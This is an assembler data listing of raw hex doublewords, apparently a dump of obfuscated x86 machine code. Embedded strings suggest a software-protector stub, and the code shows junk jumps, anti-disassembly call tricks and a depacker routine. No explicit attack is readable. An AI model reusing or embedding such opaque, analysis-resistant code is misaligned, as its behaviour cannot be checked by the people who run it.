		dd 0F282444h, 1587h, 10E900h, 0C7CF0000h, 0F3D7522Ch, 5B24E14Dh
		dd 3EF53EADh, 0E9AB168Dh, 14h, 81486926h, 9EBD657Ch, 63BDA868h
		dd 0AD96F7BBh, 0F97C550Bh, 1985015Eh, 0FF05E908h, 0E939B28Dh
		dd 0B2BD8305h, 5E939h, 44C71075h, 1C24h, 0B58D0000h, 5E93EACh
		dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 0E90EE585h, 74C08405h
		dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h
		dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah,	66EBD166h
		dd 973D8D1h, 50413566h,	49F38166h, 75CEFE54h, 33C833EBh
		dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah
		dd 0C6835E0Fh, 585FF04h, 0E905E931h, 0FFFFFF6Fh, 1D8A0F5Eh
		dd 0F000000h, 1780h, 12E900h, 0A4330000h, 0F6ACEA0Ch, 0F19AF2DFh
		dd 139675B1h, 5A11EAEBh, 11E9h,	52FB8900h, 0F9312C7Ch
		dd 0B781A549h, 0AFCF73A7h, 858B2D06h, 5E93105h,	88E0Fh
		dd 1600000h, 0E9023DBDh, 8D316105h, 5E90B21h, 8F0FE0D1h
		dd 17h,	558D0960h, 0E905E92Bh, 0Ah, 686FB986h, 8DFC2843h
		dd 361F17Ch, 0E9166985h, 68C0F05h, 31000000h, 0E930499Dh
		dd 0BE05h, 9D890000h, 5E9039Dh,	0AD66F596h, 2E0C1F8h, 0E58D8960h
		dd 2905E916h, 0E91D6985h, 85036105h, 5E91E61h, 853196F9h
		dd 5E91979h, 55BD89ADh,	8B05E903h, 8924244Ch, 0E9316585h
		dd 359D0105h, 305E91Dh,	0F242444h, 0C84h, 6820F00h, 31000000h
		dd 0E928FD8Dh, 24448905h, 4DBD011Ch, 9605E906h,	158C0Fh
		dd 0E9600000h, 0Ch, 0C203C98Ch,	0BFB5048h, 0C9A671CBh
		dd 0AC615E57h, 6E9h, 0B830B400h, 3239115Bh, 0C860FC9h
		dd 0F000000h, 68Ch, 800F00h, 0E9000000h, 7, 0CE983908h
		dd 0FE5F9DB3h, 19501C1h, 0D005E911h, 0A2830FD0h, 60000000h
		dd 2D9D8B52h, 5F05E906h, 2C5CBF66h, 0C99D8961h,	0D005E92Ch
		dd 86830FD0h, 60000000h, 0A7C98166h, 0D0D061F5h, 77820Fh
		dd 29F50000h, 0E916599Dh, 0FD0D005h, 6882h, 0DE900h, 89C80000h
		dd 61E515Fh, 0F955CEEh,	0FE61D6EBh, 0A4890FC9h,	0FCFFFFFFh
		dd 3120C483h, 0E93049B5h, 2444C705h, 0FCh, 8DB58900h, 0B805E91Ch
		dd 1, 68B0Fh, 0B5290000h, 5E924A1h, 0B800Fh, 6E90000h
		dd 50000000h, 49F6DE0Ah, 0D48D8DF4h, 8905E972h,	0E9230DBDh
		dd 29E1FF05h, 0E906019Dh, 0E585C605h, 5E90Eh, 953161F9h
		dd 5E90099h, 890008C2h,	0E9102D95h, 12E95005h, 42000000h
		dd 5F962984h, 0D283A04h, 1BE6AA9Fh, 0D93380AEh,	24348967h
		dd 13E9h, 470ACB00h, 15826F73h,	2D348DC4h, 0EA36D7FFh
		dd 9AE16BBEh, 40DFB589h, 890F05E9h, 6, 10599589h, 8D8905E9h
		dd 5E94104h, 118D8B60h,	0E905E931h, 5, 0E4C098ABh, 0B58D61D2h
		dd 5E93F80h, 6840F60h, 89000000h, 0E90091BDh, 0B58D8905h
		dd 6105E931h, 5DBD8960h, 0F05E91Eh, 88h, 858D6100h, 5B7E35h
		dd 71B52960h, 6605E906h, 618D4BBFh, 8D31D0FFh, 5E90FF9h
		dd 7E9605Eh, 0A2000000h, 9209E79Eh, 5E8E239h, 53000000h
		dd 74ACD05Ah, 0C36159F5h, 0DFB58BF9h, 0E905E940h, 0Dh
		dd 0DEC7E4Ah, 2648D83Bh, 773F93FCh, 48D8B9Dh, 8905E941h
		dd 0E9316185h, 89C02B05h, 0E90CC59Dh, 0E9D98B05h, 12h
		dd 0BE817A1Eh, 705974B0h, 0FE3488FEh, 94C55664h, 850F9980h
		dd 15h,	10E9h, 0AAB1AC00h, 70EF9A78h, 2C7131B4h, 0F09600D4h
		dd 0DCE927h, 9E90000h, 26000000h, 54581040h, 161C69B2h
		dd 12E92632h, 51000000h, 0D60104FCh, 3BBBA7AFh,	0FAF44ABEh
		dd 99030E4Eh, 0E902B27Eh, 0Dh, 0C4674AE3h, 0A9105757h
		dd 74315BBh, 58E94Dh, 85890000h, 5E92B91h, 0B589C232h
		dd 5E9018Dh, 1D7A05F9h,	95018A75h, 5E9004Dh, 2960CC8Ah
		dd 0E917B19Dh, 8B665105h, 0D3615FF8h, 0BF6660C8h, 5E92B3Dh
		dd 0C3000000h, 9EFAA4D1h, 91BD0161h, 3505E901h,	98D10842h
		dd 1CA98529h, 0CAFE05E9h, 89C38B60h, 0E9039DB5h, 0D20A6105h
		dd 0FFA6850Fh, 8C0FFFFFh, 6, 1839BD31h,	0F4B05E9h, 1681h
		dd 11E900h, 484E0000h, 5AD703CCh, 60DDEB4Ch, 134A875Ch
		dd 29AA7B5Fh, 0E931999Dh, 860F4605h, 6,	10C58D01h, 0DB0B05E9h
		dd 0FF2A850Fh, 0FE9FFFFh, 4A000000h, 0BD49E1D8h, 0C2FFB29Ah
		dd 33EEA76Ch, 0F8CF33EFh, 8C0F0000h, 6,	186D8589h, 0F905E9h
		dd 0E890F00h, 60000000h, 5923E081h, 0B58B3079h,	5E92FE5h
		dd 0E9000061h, 11h, 0A408678Eh,	8DF01C83h, 0CCD5E8A8h
		dd 0B93C863Eh, 89000015h, 0E90FC99Dh, 0CF858D05h, 0F05E939h
		dd 685h, 4DB50100h, 8905E932h, 0E923C585h, 65958905h, 8D05E925h
		dd 0E93EC485h, 68B0F05h, 9000000h, 0E910658Dh, 0F1858905h
		dd 0EB05E907h, 14h, 3 dup(0)
		dd 8B00h, 27858D00h, 8905E942h,	0E9311D85h, 68BD8305h
		dd 5E941h, 122840Fh, 85C60000h,	5E90EE5h, 1AA46856h, 481BF8Bh
		dd 94529524h, 45B5FF14h, 8D05E923h, 0E939CF85h,	89D0FF05h
		dd 0E9415C85h, 0E585C605h, 5605E90Eh, 4E8h, 0A8B85200h
		dd 448B509Ch, 8B0424h, 4244489h, 45B5FF58h, 8D05E923h
		dd 0E939CF85h, 89D0FF05h, 0E9416085h, 68046A05h, 0D42BFA8Eh
		dd 72240481h, 8B2BD415h, 0E9416C85h, 1F40505h, 0E0C10000h
		dd 90509002h, 95FF006Ah, 5E94160h, 41648589h, 0D88B05E9h
		dd 0FFFFFFB8h, 1D95FFFFh, 8B05E931h, 1D95FFC3h,	0E905E931h
		dd 84h,	4168BD83h, 0F0005E9h, 185h, 8B57C300h, 0E94164BDh
		dd 8583AB05h, 5E94164h,	83C35F04h, 0E94168BDh, 850F0005h
		dd 1, 0AD8360C3h, 5E94164h, 649D8B04h, 8305E941h, 0FFFFC7Bh
		dd 1D85h, 0BEDD6800h, 481C63Eh,	0C1C12324h, 0FF006A39h
		dd 5C95FF33h, 6105E941h, 1DE9C3h, 26680000h, 81E79855h
		dd 2ADA2404h, 6A1868h, 95FF33FFh, 5E9415Ch, 4164AD83h
		dd 0E90405E9h, 0FFFFFFB1h, 1ADE948h, 8B600000h,	8B242474h
		dd 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h, 585h
		dd 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h,	5, 1246168Ah
		dd 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h
		dd 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h
		dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h
		dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h
		dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh,	2000000h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C913h,	5850Fh
		dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh,	830F0000h
		dd 22h,	5003Dh,	0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h
		dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h
		dd 17h,	8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h
		dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h,	929h, 9D3E9h
		dd 850BA700h, 6F560CB6h, 0A3C621EAh, 0DE3BDC48h, 4F30C976h
		dd 1D83EAFBh, 276A724Ch, 3ECE34F1h, 852DFA41h, 631407BBh
		dd 0F1D133E2h, 0D929CD1Bh, 207BC633h, 17899A98h, 2B6B6F58h
		dd 3CCE34A3h, 852EF547h, 7C141DBBh, 0F1CE29FFh,	0C237D105h
		dd 4B75D224h, 0C5AEFBh,	667A6F5Ch, 298035F1h, 8538E147h
		dd 7D5B1BA2h, 0FFCE27FFh, 63h dup(0)
		dd 850BA700h, 735A06BFh, 0F1D129F9h, 0CA35C618h, 0A38CA24h
		dd 5296ABFDh, 696B795Bh, 25CF27A3h, 0D76AF046h,	735A07A7h
		dd 0B88321E3h, 0C2239406h, 5975D923h, 1791B9ECh, 0A043254h
		dd 31C52DD3h, 8566F15Bh, 755807A7h, 0B88322ECh,	0DF3C941Ch
		dd 4775C639h, 8AA7F0h, 696F3C40h, 35D261E7h, 0D72BE05Bh
		dd 754D49A6h, 0A18334F8h, 0DF3DDB1Ah, 7BC637h, 48h dup(0)
		dd 850BA700h, 79551BB1h, 0F6D123E6h, 0C22E941Bh, 4275C739h
		dd 10C5B9F4h, 2760795Ch, 3ED52EE5h, 0D038B44Ch,	745D07BCh
		dd 0BFCA66EAh, 0D835CD48h, 53268B24h, 1F80BEE6h, 57031617h
		dd 23C124EFh, 0D06AB84Dh, 7B5B05BCh, 0A5CA66E9h, 0C228D248h
		dd 4F388B3Bh, 0B97A5F8h, 63607D19h, 23C533A3h, 0D138F55Ch
		dd 6F5B10F2h, 0A3D366FFh, 0CC28D307h, 853Bh, 61h dup(0)
		dd 0CC0CA700h, 79140CBEh, 0A4D134E2h, 0C93FC018h, 7E758577h
		dd 5296A3FDh, 60616E49h, 70CD20F1h, 8539F540h, 74510CB0h
		dd 0BFC22BADh, 0C12FC401h, 4E30DF37h, 168BABB5h, 7E6F7119h
		dd 5DAA24E1h, 0D66DE041h, 7C5A00F2h, 0B4D725E8h, 0D438940Ch
		dd 7C75CA76h, 190B8FCh,	277C7319h, 33C133E0h, 8B2EF143h
		dd 735C3DF2h, 0B8C566FEh, 0DA7AD104h, 5E72C539h, 8ABDB5h
		dd 696F3C52h, 22CF2CFAh, 0BA4Dh, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2ECFE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0FC5EAE91h, 19C2DEBh, 0E9018985h
		dd 72BABA05h, 6AFC5509h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 5985C352h, 0F6C28107h
		dd 8B640AA6h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 7483FFEh,	0E18589h, 0BD8305E9h, 5E9164Dh
		dd 83097500h, 0E91121BDh, 13740005h, 0C08B5350h, 1B8h
		dd 669D8D00h, 0FF05EBB7h, 83585BD3h, 0E91121BDh, 11740005h
		dd 1B85350h, 8D000000h,	0EBB6179Dh, 5BD3FF05h, 29958B58h
		dd 0F05E911h, 118Fh, 8E800h, 7670000h, 7C6BAB21h, 0B70F6B37h
		dd 9D8B5BD9h, 5E921C1h,	2820Fh,	0D98A0000h, 9D8BC08Bh
		dd 5E90359h, 12B1BD83h,	0F0005E9h, 1A584h, 83FD8A00h, 0E92A95BDh
		dd 840F0005h, 196h, 0D6816660h,	8E0FDAF0h, 6, 272D858Bh
		dd 606105E9h, 12E8h, 235CDC00h,	7886F233h, 66E6EC6h, 0D3676FBEh
		dd 89582490h, 0E90539B5h, 858B5A05h, 5E92A95h, 0BB02AEBAh
		dd 0D6CF8048h, 3E805h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0FA0D4583h, 0F6090FCh
		dd 28Ch, 61D08B00h, 5B539050h, 4E22858Dh, 8D8905E9h, 5E910BDh
		dd 0E9565090h, 12h, 835DB707h, 2AB22767h, 0BDB7E72Ch, 0FAE3B8A8h
		dd 905A0243h, 8F59589h,	858D05E9h, 5E94E00h, 5E59D2Bh
		dd 895005E9h, 9D892404h, 5E93079h, 3A595FFh, 816605E9h
		dd 66671FC3h, 0C483DF8Bh, 54E2810Ch, 8D1C2F42h,	0E94E0085h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 87A01D45h, 82FAC0CEh, 9E85072h, 0E5000000h
		dd 2D26ABD6h, 6894AD29h, 2859D89h, 905B05E9h, 15BA6651h
		dd 60505B75h, 0F525050h, 58585A31h, 12E9h, 652D2A00h, 7ABB0804h
		dd 5149AD3Ch, 433527C0h, 61FA94E7h, 7E990h, 47270000h
		dd 0EB5FC3C6h, 89026A46h, 0E90729B5h, 7495FF05h, 0BA006885h
		dd 6A67DA8Ch, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 25C20E5Fh, 5678DB1Ah, 12E9h, 23345B00h
		dd 0F02E184Bh, 172511AFh, 8F5F47A6h, 5BBD8E42h,	85C733B6h
		dd 5E94E33h, 1,	0FA19D2Bh, 519605E9h, 505BF78Ah, 28A0Fh
		dd 0D08B0000h, 0DA816696h, 0B589163Eh, 5E94DE4h, 0AEBBB1B7h
		dd 83751C10h, 0E901BDBDh, 850F0105h, 3Eh, 0F05F883h, 3585h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0A19D8B2Bh, 5005E91Ch, 0CAD958Bh, 0B85A05E9h
		dd 0
		dd 22398D89h, 0BD8305E9h, 5E92681h, 5B840F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 3B72C355h, 15AA6C17h, 0D4162A5Ch,	9D9D8960h
		dd 0F805E90Ah, 0A0EB8161h, 0B87EB64Fh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 57C35242h
		dd 1A0CB4DDh, 6660015Ch, 858BD98Bh, 5E93055h, 0C083FE8Ah
		dd 8589F902h, 5E94DDCh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 3C35343h, 0ED239685h,	9589200Eh, 5E90BD9h
		dd 0BBFF00C6h, 599B7FAFh, 0D3D8D89h, 85C605E9h,	5E90EE5h
		dd 95896053h, 5E90CF9h,	6861D98Ah, 0DCF13512h, 4811CB7h
		dd 0C013C624h, 51006A1Fh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 3AB5911h, 14E9h, 5E8AA300h
		dd 0EE4AC20h, 103C8F79h, 4FFF5504h, 0BCF0854Dh,	0FF33BB52h
		dd 0B5FF2DF6h, 5E91EFDh, 8DD2BF0Fh, 0EC7A6F85h,	0B59D8905h
		dd 0FF05E91Dh, 6850FD0h, 89000000h, 0E91F91BDh,	95858905h
		dd 6A05E91Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 1EFBC351h, 0D21C0508h,	7166CED5h
		dd 2C01BD83h, 0F0105E9h, 0B985h, 0C3DA8000h, 0F78B6061h
		dd 1880Fh, 61FC0000h, 0EE585C6h, 0E84505E9h, 10h, 9C43FCF6h
		dd 0E8533EE3h, 71AA30D6h, 873EAF77h, 2B99B531h,	685A05E9h
		dd 0B1C772FBh, 0C7240481h, 6A2898C5h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F182C351h
		dd 17D9D8Bh, 0B58905E9h, 5E90BA1h, 1EFDB5FFh, 895205E9h
		dd 0E919B585h, 858D5B05h, 5EC7A6Fh, 2499958Bh, 0D0FF05E9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 9FC35242h
		dd 0C1C25299h, 0C603AD5Eh, 2A79BD89h, 6A05E9h, 0BAD8D89h
		dd 0D0FF05E9h, 0BD83DF8Bh, 5E90295h, 0F5850F01h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0F1DCC350h, 0D29130C3h, 5173A4F8h, 5ADEBF0Fh
		dd 3055858Bh, 8E905E9h,	44000000h, 24C61E91h, 0E92C4A86h
		dd 79h,	90D6B70Fh, 310F5250h, 44FC5EBBh, 50585A5Dh, 90D88B66h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D7C35343h
		dd 936610CEh, 0A9950BC9h, 6605E90Bh, 146AD18Bh,	49F0E381h
		dd 95FF4C1Bh, 5E91E95h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 74C35646h, 0F56A0C24h, 1229958Bh, 8B5805E9h
		dd 0E91D8595h, 388005h,	0FF81850Fh, 6AFFFFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 89B069C3h
		dd 26E18589h, 958B05E9h, 5E921E9h, 0BB0100C6h, 5D8FC0BEh
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 3039309Bh, 8B612477h, 0E921BD9Dh, 69F28005h
		dd 701958Bh, 0BD8305E9h, 5E901B5h, 6B840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 2405C353h, 0FFD44FFh, 68Eh, 21BD2900h, 105E92Ah
		dd 0E92B8985h, 66FF6A05h, 3BC0EB81h, 1E9595FFh,	8EBA05E9h
		dd 0E92D161Ah, 0FFFFFFE9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0C1C35545h, 6303B8C8h, 85C7F58Ah, 5E901B5h
		dd 1, 0A39AE2BBh, 0E8858934h, 8B05E94Dh, 0E90F459Dh, 50605005h
		dd 0FC28B52h, 5A616031h, 2745BF58h, 89612655h, 6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0D2E04AC3h, 22F98589h, 606005E9h, 1679958Bh,	6A6105E9h
		dd 6D9D3105h, 8D05E90Eh, 0E94E0085h, 18BB6605h,	0F88A9088h
		dd 7E850h, 1A430000h, 1C31F989h, 0DE95Eh, 814C0000h, 0B0EC698h
		dd 7D286FCh, 5BB84962h,	858DFC90h, 5E94DF0h, 6820Fh, 95010000h
		dd 5E905C5h, 0B64AF281h, 0B7901595h, 0AE8500Fh,	78000000h
		dd 484CF16Fh, 0EEE2F58Ah, 5A5B5780h, 51006A90h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0F4B27B9Bh
		dd 0F8995FFh, 816605E9h, 8DBC98CAh, 0E97C728Dh,	4D9D8B05h
		dd 0B05E90Bh, 8D1174C0h, 0E94E0085h, 0D1FF5005h, 4E1E8589h
		dd 0AEB05E9h, 4E1E85C7h, 0FFFF05E9h, 6AFFFFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0E3BBAFC3h
		dd 48BBE14Fh, 6A50523Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 72CC353h, 0C3E922Ch
		dd 89DC6EE4h, 0E9080D95h, 7D850105h, 6105E926h,	0C6D18B66h
		dd 0E90EE585h, 13E94D05h, 8A000000h, 0B1F39B5Bh, 0DAB35DA7h
		dd 69D6C36Fh, 0F7E7EC18h, 6268B222h, 52505BAFh,	5ADA8B66h
		dd 46240481h, 6A53D9C7h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0DCDDC357h,	0B05C1B1Ch
		dd 106CA522h, 0BB5958Bh, 36005E9h, 0E90E9DBDh, 13E905h
		dd 5E830000h, 0A133683Fh, 0B8C973E9h, 7E50C58Ah, 0E6B8359Ah
		dd 0B5FF61F9h, 5E91E71h, 189256BAh, 6F858D39h, 6A05EC7Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0EDE3C355h, 7854EECEh, 81667594h,	0FF770DC2h
		dd 658D09D0h, 8905E912h, 0E91DA585h, 199D0305h,	0C605E927h
		dd 0E90EE585h, 958B4505h, 5E9104Dh, 4E8h, 72696900h, 50D48A8Eh
		dd 2840Fh, 0D98B0000h, 424448Bh, 8BD18Bh, 4489D68Bh, 3580424h
		dd 0E91D6995h, 0FDB5FF05h, 6005E91Eh, 9D01CF8Bh, 5E923B1h
		dd 29958B61h, 8D05E90Ch, 0EC7A6F85h, 0C58D0105h, 6605E92Ah
		dd 54C3E281h, 0CE8D0FFh, 20000000h, 0D3DB537Fh,	73F2EE04h
		dd 5A6D9EA8h, 17618589h, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0FD432BC3h, 12E8F5h
		dd 84650000h, 265FA83Ah, 0F568E1A9h, 0F2AC26B8h, 58317D19h
		dd 8B0Fh, 895A0000h, 0E9227DB5h, 6AD28B05h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 74EDC356h
		dd 6860Fh, 8D310000h, 5E91621h,	52D98C66h, 14E960h, 0C0B80000h
		dd 0BEE31C44h, 0A78A82A2h, 0EBC3322Ch, 58D5CC7Ah, 810F0F23h
		dd 0
		dd 0C1F65B61h, 61840F04h, 81000002h, 83487CCBh,	135E96Bh
		dd 0BAB60000h, 1D19B58Bh, 6A05E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0AAC7BDC3h, 0C6812BBEh
		dd 1180h, 99CFE281h, 0BD837F7Eh, 5E93095h, 74850F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 9B6C356h,	0DEB772D3h, 810F0399h, 6, 6859D8Bh
		dd 0B7E905E9h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0FF58C350h,	12E8F368h
		dd 0B5000000h, 5B676743h, 8EAA7786h, 0B1EFC155h, 895680EBh
		dd 0D98B668Dh, 499D8B5Ah, 8305E92Bh, 840F003Eh,	6Eh, 66DEB70Fh
		dd 8505EB81h, 0D5958960h, 2905E924h, 0E90B89BDh, 81146A05h
		dd 0C533D0E2h, 9595FF01h, 0E805E91Eh, 13h, 42BB70BCh, 0C8811C02h
		dd 36F9AF8h, 0BAF9F008h, 31E27A39h, 0E9318D85h,	6A615B05h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 7CF1C352h, 6B157375h, 8CE92636h, 66FFFFFFh
		dd 6C7D68Bh, 1,	83D6BF0Fh, 0E94DE8BDh, 850F0505h, 114h
		dd 0FD18EA81h, 0B58B057Ch, 5E91761h, 2AC59D89h,	64B905E9h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0B408C350h, 0EBFDB109h, 0BA66B62Ch
		dd 3E809579h, 49840FE8h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 36BCC356h
		dd 29952B71h, 0E92561B5h, 31E905h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 7B49F7C3h
		dd 0C2057E80h, 41840Fh,	0DA800000h, 219D8B7Bh, 4605E90Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 74C35242h
		dd 0D9BF0F06h, 73850F49h, 66FFFFFFh, 5423C281h,	3FE9h
		dd 1BF38100h, 89157F7Ch, 0E91D89B5h, 9E805h, 0BBF10000h
		dd 1D23061Dh, 2917653Eh, 0E905C59Dh, 8F0F5B05h,	18h, 0C7816660h
		dd 0CE97880h, 23000000h, 0C287A43Ch, 31EC8224h,	61B9B0B9h
		dd 0B5896058h, 5E92581h, 49BD8361h, 5E911h, 0EB840Fh, 0BD890000h
		dd 5E90ED9h, 0F2816660h, 85C678B4h, 5E90EE5h, 0D18B6654h
		dd 28119D0Bh, 976805E9h, 56D75A02h, 5BB0B756h, 2434815Ah
		dd 2814BC63h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	0F5C35545h, 8960625Ah, 0E92D298Dh, 0E18D2905h
		dd 6105E924h, 1EFDB5FFh, 6A05E9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 4BA940C3h, 0E40D375Eh
		dd 13E909h, 1B8A0000h, 7E73C832h, 613A6F5Bh, 0F5840EC9h
		dd 0DC85E1BCh, 6F858D24h, 6A05EC7Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 94BDC350h
		dd 8D01D0FFh, 5E9178Dh,	0CB81006Ah, 1B87FEEFh, 1149B5FFh
		dd 890F05E9h, 6, 7999D31h, 0D0FF05E9h, 8B61DF8Bh, 0E92F4595h
		dd 0F185C705h, 105E91Ch, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8FF3C350h
		dd 86557596h, 0BD898259h, 5E92A35h, 52006A60h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 89D4C335h
		dd 7D15D5E3h, 0B5897E55h, 5E93201h, 8AB7C68h, 0C802BA29h
		dd 34814182h, 8ABFC24h,	95896029h, 5E92BADh, 6499529h
		dd 6A6105E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 45BBF923h, 0F3FABB5h, 687h, 0C1958B00h
		dd 8B05E91Eh, 0E905F995h, 7595FF05h, 6A05E926h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0FFE7C353h, 0C283321h, 8B813C2Eh, 0E9174995h, 6AB6BB05h
		dd 56610C1Eh, 1468BA66h, 0E7BA505Bh, 893D1CC9h,	0D8B62404h
		dd 2D61858Bh, 958B05E9h, 5E9220Dh, 109D958Bh, 0C00B05E9h
		dd 31840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0B05F22C3h, 0D32FF96Fh, 0FFD2C280h
		dd 0E90F9195h, 3DBD0105h, 0C705E930h, 0E9127D85h, 105h
		dd 0DFBF0F00h, 10C1BD83h, 0F0005E9h, 2C84h, 1950B00h, 0FF05E931h
		dd 0E92BF195h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 7CA5B258h, 0DDBD8329h
		dd 5E91Ch, 1F840Fh, 0C2810000h,	3EBF938h, 4D952952h, 5B05E90Bh
		dd 266995FFh, 8B6005E9h, 0E904358Dh, 0F8B70F05h, 5DBD8361h
		dd 5E911h, 62840Fh, 9D2B0000h, 5E90F95h, 699D8Bh, 0BD8305E9h
		dd 5E9273Dh, 49850F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0A58CC350h
		dd 99A10396h, 0BC8C8CFCh, 304D8D31h, 0DE905E9h,	0C2000000h
		dd 1350905Fh, 0D2085FDh, 59C8B827h, 23995FFh, 958B05E9h
		dd 5E923BDh, 0E85BD83h,	0F0005E9h, 4A84h, 0EDB52900h, 8105E911h
		dd 0E923B985h, 400305h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 8581A97Ch, 5E905ADh, 4003h
		dd 39BD8B60h, 8B05E917h, 0E9236585h, 81666105h,	0FB987DBh
		dd 9E95231h, 1B000000h,	635B32B4h, 0B6D54A79h, 128D8D5Ah
		dd 6605E95Eh, 95BBD08Bh, 89587343h, 7D9D8901h, 3305E924h
		dd 4189F8C2h, 1D9D8B04h, 8B05E904h, 0E92F2195h,	81310F05h
		dd 36EFF7D2h, 398D8D7Ah, 6A05E95Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0EECEC356h
		dd 8B667854h, 3870FD6h,	0F000000h, 189D6B7h, 0CE960h, 54C70000h
